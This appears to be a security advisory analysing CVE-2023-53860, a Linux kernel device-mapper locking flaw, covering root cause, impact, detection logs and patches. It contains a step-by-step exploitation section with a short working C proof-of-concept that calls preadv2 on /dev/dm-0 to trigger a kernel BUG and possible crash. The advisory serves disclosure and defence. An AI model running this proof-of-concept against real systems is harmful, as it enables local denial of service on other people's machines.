CVE-2023-53860: 
Linux Kernel vulnerability analysis and mitigation

CVE-2023-53860 is a Linux kernel vulnerability in the device mapper (dm) subsystem where IO is incorrectly attempted under RCU (Read-Copy-Update) read lock protection. The flaw arises when a request marked REQ_NOWAIT is submitted via preadv2() with the RWF_NOWAIT flag, causing a sleeping function to be called from an invalid context. It was published on December 9, 2025, and affects the Linux kernel (vendor: linux, product: kernel). Feedly estimates the severity as Medium, with an EPSS score of 0.000170 (Feedly).

The root cause is an incorrect assumption in the dm (device mapper) layer that REQ_NOWAIT-flagged IO can be safely submitted while holding an RCU read lock. In reality, REQ_NOWAIT only indicates that the operation should not sleep waiting on other IO — it does not guarantee that scheduling cannot occur. When preadv2() is called with RWF_NOWAIT on a /dev/dm-* device, the kernel triggers a mempool_alloc() call that may sleep, violating the RCU read-side critical section constraint and producing a BUG: sleeping function called from invalid context kernel warning. This is classified as an improper synchronization issue (related to CWE-667: Improper Locking). Patches are referenced at kernel stable commits 699775e9, a9ce3853, and d7b2abd8 (Feedly, Kernel Git 1).

Exploitation of this vulnerability causes a kernel BUG warning and potential system instability or crash (denial of service) on affected Linux systems using device mapper. An unprivileged local user with access to a /dev/dm-* block device can trigger the condition using a simple program calling preadv2() with RWF_NOWAIT and O_DIRECT, as demonstrated in the proof-of-concept included in the CVE description. The primary impact is availability (system crash/kernel panic), with no direct confidentiality or integrity impact identified (Feedly).

1. Identify target: Confirm the target Linux system uses device mapper (e.g., /dev/dm-0 exists), which is common on systems using LVM or encrypted volumes.
2. Compile PoC: Write and compile the following C program:

#include <fcntl.h>
#include <stdlib.h>
#include <sys/uio.h>
int main() {
    struct iovec iov;
    int fd = open("/dev/dm-0", O_RDONLY | O_DIRECT);
    posix_memalign(&iov.iov_base, 4096, 4096);
    iov.iov_len = 4096;
    preadv2(fd, &iov, 1, 0, RWF_NOWAIT);
    return 0;
}

3. Execute: Run the compiled binary as a local user with read access to the dm device.
4. Observe impact: The kernel will emit a BUG: sleeping function called from invalid context trace, potentially destabilizing or crashing the system (Feedly).

• Logs: Kernel log (dmesg / /var/log/kern.log) entries containing BUG: sleeping function called from invalid context at include/linux/sched/mm.h:306 with RCU nest depth: 1, expected: 0.
• Logs: Stack traces referencing mempool_alloc, dm_submit_bio, or similar dm subsystem functions in the kernel call trace.
• Process: Short-lived processes opening /dev/dm-* with O_DIRECT and calling preadv2 with RWF_NOWAIT, particularly if run repeatedly or by unexpected users.

Apply the upstream Linux kernel patches referenced in the CVE: stable commits 699775e9338adcd4eaedea000d32c60250c3114d, a9ce385344f916cd1c36a33905e564f5581beae9, and d7b2abd87d1fcdb47811f90090a363e7ca15cb14. Distribution-specific updates have been issued, including SUSE kernel advisories (SUSE-2026-0281-1 and SUSE-2026-20876-1). Users should update to a patched kernel version provided by their Linux distribution. As a temporary workaround, restricting unprivileged access to /dev/dm-* devices via permissions or access controls can reduce exposure (Feedly, Linux Security SUSE).